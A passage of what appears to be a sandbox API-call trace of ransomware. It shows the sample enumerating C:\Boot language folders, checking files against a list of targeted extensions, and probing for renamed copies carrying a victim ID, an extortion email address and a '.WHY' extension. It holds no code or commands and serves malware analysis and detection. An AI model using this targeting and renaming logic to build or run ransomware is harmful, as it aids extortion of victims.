(lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0059.946] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.946] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.946] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.946] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.946] lstrlenW (lpString=".doc") returned 4 [0059.946] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.946] lstrlenW (lpString=".docx") returned 5 [0059.947] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.947] lstrlenW (lpString=".pdf") returned 4 [0059.947] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.947] lstrlenW (lpString=".xls") returned 4 [0059.947] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.947] lstrlenW (lpString=".xlsx") returned 5 [0059.947] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.947] lstrlenW (lpString=".ppt") returned 4 [0059.947] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.947] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.947] lstrlenW (lpString=".zip") returned 4 [0059.947] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.947] lstrlenW (lpString=".rar") returned 4 [0059.947] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.948] lstrlenW (lpString=".bz2") returned 4 [0059.948] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.948] lstrlenW (lpString=".7z") returned 3 [0059.948] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.948] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.948] lstrlenW (lpString=".dbf") returned 4 [0059.948] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.948] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.948] lstrlenW (lpString=".1cd") returned 4 [0059.948] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.948] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.949] lstrlenW (lpString=".jpg") returned 4 [0059.949] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.949] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.949] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.949] lstrlenW (lpString=".doc") returned 4 [0059.949] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.949] lstrlenW (lpString=".docx") returned 5 [0059.949] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.949] lstrlenW (lpString=".pdf") returned 4 [0059.949] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.949] lstrlenW (lpString=".xls") returned 4 [0059.949] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.950] lstrlenW (lpString=".xlsx") returned 5 [0059.950] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.950] lstrlenW (lpString=".ppt") returned 4 [0059.950] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.950] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.950] lstrlenW (lpString=".zip") returned 4 [0059.950] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.950] lstrlenW (lpString=".rar") returned 4 [0059.950] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.950] lstrlenW (lpString=".bz2") returned 4 [0059.950] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.950] lstrlenW (lpString=".7z") returned 3 [0059.950] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.950] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.951] lstrlenW (lpString=".dbf") returned 4 [0059.951] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.951] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.951] lstrlenW (lpString=".1cd") returned 4 [0059.951] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.951] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0059.951] lstrlenW (lpString=".jpg") returned 4 [0059.951] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.951] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0059.952] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0059.952] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0059.952] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=87616) returned 1 [0059.952] CloseHandle (hObject=0x1a4) returned 1 [0059.952] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0059.953] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.953] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.953] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.953] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.953] lstrlenW (lpString=".doc") returned 4 [0059.955] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.955] lstrlenW (lpString=".docx") returned 5 [0059.955] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.955] lstrlenW (lpString=".pdf") returned 4 [0059.955] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.955] lstrlenW (lpString=".xls") returned 4 [0059.955] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.955] lstrlenW (lpString=".xlsx") returned 5 [0059.955] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.955] lstrlenW (lpString=".ppt") returned 4 [0059.955] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.955] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.955] lstrlenW (lpString=".zip") returned 4 [0059.956] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.956] lstrlenW (lpString=".rar") returned 4 [0059.956] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.956] lstrlenW (lpString=".bz2") returned 4 [0059.956] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.956] lstrlenW (lpString=".7z") returned 3 [0059.956] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.956] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.956] lstrlenW (lpString=".dbf") returned 4 [0059.956] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.956] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.957] lstrlenW (lpString=".1cd") returned 4 [0059.957] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.957] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.957] lstrlenW (lpString=".jpg") returned 4 [0059.957] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.957] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.957] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.957] lstrlenW (lpString=".doc") returned 4 [0059.957] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.957] lstrlenW (lpString=".docx") returned 5 [0059.957] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.958] lstrlenW (lpString=".pdf") returned 4 [0059.958] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.958] lstrlenW (lpString=".xls") returned 4 [0059.958] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.958] lstrlenW (lpString=".xlsx") returned 5 [0059.958] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.958] lstrlenW (lpString=".ppt") returned 4 [0059.958] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.958] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.958] lstrlenW (lpString=".zip") returned 4 [0059.958] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.958] lstrlenW (lpString=".rar") returned 4 [0059.958] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.958] lstrlenW (lpString=".bz2") returned 4 [0059.959] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.959] lstrlenW (lpString=".7z") returned 3 [0059.959] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.959] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.959] lstrlenW (lpString=".dbf") returned 4 [0059.959] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.959] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.959] lstrlenW (lpString=".1cd") returned 4 [0059.959] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.959] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0059.959] lstrlenW (lpString=".jpg") returned 4 [0059.959] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.960] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0059.960] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0059.960] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0059.960] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=91712) returned 1 [0059.960] CloseHandle (hObject=0x1a4) returned 1 [0059.961] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0059.961] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.961] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.961] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.961] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.961] lstrlenW (lpString=".doc") returned 4 [0059.962] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.962] lstrlenW (lpString=".docx") returned 5 [0059.962] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.962] lstrlenW (lpString=".pdf") returned 4 [0059.962] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.962] lstrlenW (lpString=".xls") returned 4 [0059.962] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.962] lstrlenW (lpString=".xlsx") returned 5 [0059.962] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.962] lstrlenW (lpString=".ppt") returned 4 [0059.962] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.962] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.962] lstrlenW (lpString=".zip") returned 4 [0059.962] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.962] lstrlenW (lpString=".rar") returned 4 [0059.963] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.963] lstrlenW (lpString=".bz2") returned 4 [0059.963] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.963] lstrlenW (lpString=".7z") returned 3 [0059.963] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.963] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.963] lstrlenW (lpString=".dbf") returned 4 [0059.963] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.963] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.963] lstrlenW (lpString=".1cd") returned 4 [0059.963] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.963] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.963] lstrlenW (lpString=".jpg") returned 4 [0059.963] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.963] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.964] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.964] lstrlenW (lpString=".doc") returned 4 [0059.964] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.964] lstrlenW (lpString=".docx") returned 5 [0059.964] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.964] lstrlenW (lpString=".pdf") returned 4 [0059.964] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.964] lstrlenW (lpString=".xls") returned 4 [0059.964] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.964] lstrlenW (lpString=".xlsx") returned 5 [0059.964] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.964] lstrlenW (lpString=".ppt") returned 4 [0059.964] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.964] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.964] lstrlenW (lpString=".zip") returned 4 [0059.965] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.965] lstrlenW (lpString=".rar") returned 4 [0059.965] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.965] lstrlenW (lpString=".bz2") returned 4 [0059.965] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.965] lstrlenW (lpString=".7z") returned 3 [0059.965] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.965] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.965] lstrlenW (lpString=".dbf") returned 4 [0059.965] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.965] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.965] lstrlenW (lpString=".1cd") returned 4 [0059.965] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.965] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0059.965] lstrlenW (lpString=".jpg") returned 4 [0059.966] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.966] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0059.966] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0059.966] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0059.967] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=94800) returned 1 [0059.967] CloseHandle (hObject=0x1a4) returned 1 [0059.967] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0059.967] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.967] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.967] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.967] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.967] lstrlenW (lpString=".doc") returned 4 [0059.967] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.968] lstrlenW (lpString=".docx") returned 5 [0059.968] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.968] lstrlenW (lpString=".pdf") returned 4 [0059.968] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.968] lstrlenW (lpString=".xls") returned 4 [0059.968] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.968] lstrlenW (lpString=".xlsx") returned 5 [0059.968] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.968] lstrlenW (lpString=".ppt") returned 4 [0059.968] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.968] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.968] lstrlenW (lpString=".zip") returned 4 [0059.968] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.968] lstrlenW (lpString=".rar") returned 4 [0059.968] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.968] lstrlenW (lpString=".bz2") returned 4 [0059.969] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.969] lstrlenW (lpString=".7z") returned 3 [0059.969] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.969] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.969] lstrlenW (lpString=".dbf") returned 4 [0059.969] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.969] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.970] lstrlenW (lpString=".1cd") returned 4 [0059.970] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.970] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.970] lstrlenW (lpString=".jpg") returned 4 [0059.970] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.970] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.970] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.970] lstrlenW (lpString=".doc") returned 4 [0059.970] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.970] lstrlenW (lpString=".docx") returned 5 [0059.970] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.970] lstrlenW (lpString=".pdf") returned 4 [0059.970] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.971] lstrlenW (lpString=".xls") returned 4 [0059.971] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.971] lstrlenW (lpString=".xlsx") returned 5 [0059.971] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.971] lstrlenW (lpString=".ppt") returned 4 [0059.971] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.971] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.971] lstrlenW (lpString=".zip") returned 4 [0059.971] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.971] lstrlenW (lpString=".rar") returned 4 [0059.971] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.971] lstrlenW (lpString=".bz2") returned 4 [0059.971] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.971] lstrlenW (lpString=".7z") returned 3 [0059.972] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.972] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.972] lstrlenW (lpString=".dbf") returned 4 [0059.972] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.972] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.972] lstrlenW (lpString=".1cd") returned 4 [0059.972] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.972] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0059.972] lstrlenW (lpString=".jpg") returned 4 [0059.972] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.973] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0059.973] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0059.973] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0059.973] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=85056) returned 1 [0059.973] CloseHandle (hObject=0x1a4) returned 1 [0059.973] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0059.974] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.974] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.974] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.974] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.974] lstrlenW (lpString=".doc") returned 4 [0059.974] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.974] lstrlenW (lpString=".docx") returned 5 [0059.974] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.974] lstrlenW (lpString=".pdf") returned 4 [0059.974] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.974] lstrlenW (lpString=".xls") returned 4 [0059.975] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.975] lstrlenW (lpString=".xlsx") returned 5 [0059.975] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.975] lstrlenW (lpString=".ppt") returned 4 [0059.975] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.975] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.975] lstrlenW (lpString=".zip") returned 4 [0059.975] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.975] lstrlenW (lpString=".rar") returned 4 [0059.975] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.975] lstrlenW (lpString=".bz2") returned 4 [0059.975] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.975] lstrlenW (lpString=".7z") returned 3 [0059.975] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.975] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.975] lstrlenW (lpString=".dbf") returned 4 [0059.975] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.976] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.976] lstrlenW (lpString=".1cd") returned 4 [0059.976] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.976] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.976] lstrlenW (lpString=".jpg") returned 4 [0059.976] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.976] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.976] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.976] lstrlenW (lpString=".doc") returned 4 [0059.976] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.976] lstrlenW (lpString=".docx") returned 5 [0059.976] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.976] lstrlenW (lpString=".pdf") returned 4 [0059.976] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.977] lstrlenW (lpString=".xls") returned 4 [0059.977] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.977] lstrlenW (lpString=".xlsx") returned 5 [0059.977] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.977] lstrlenW (lpString=".ppt") returned 4 [0059.977] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.977] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.977] lstrlenW (lpString=".zip") returned 4 [0059.977] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.977] lstrlenW (lpString=".rar") returned 4 [0059.977] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.977] lstrlenW (lpString=".bz2") returned 4 [0059.977] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.977] lstrlenW (lpString=".7z") returned 3 [0059.977] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.978] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.978] lstrlenW (lpString=".dbf") returned 4 [0059.978] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.978] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.978] lstrlenW (lpString=".1cd") returned 4 [0059.978] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.978] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0059.978] lstrlenW (lpString=".jpg") returned 4 [0059.978] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.978] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0059.978] lstrlenW (lpString="memtest.exe.mui") returned 15 [0059.978] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, 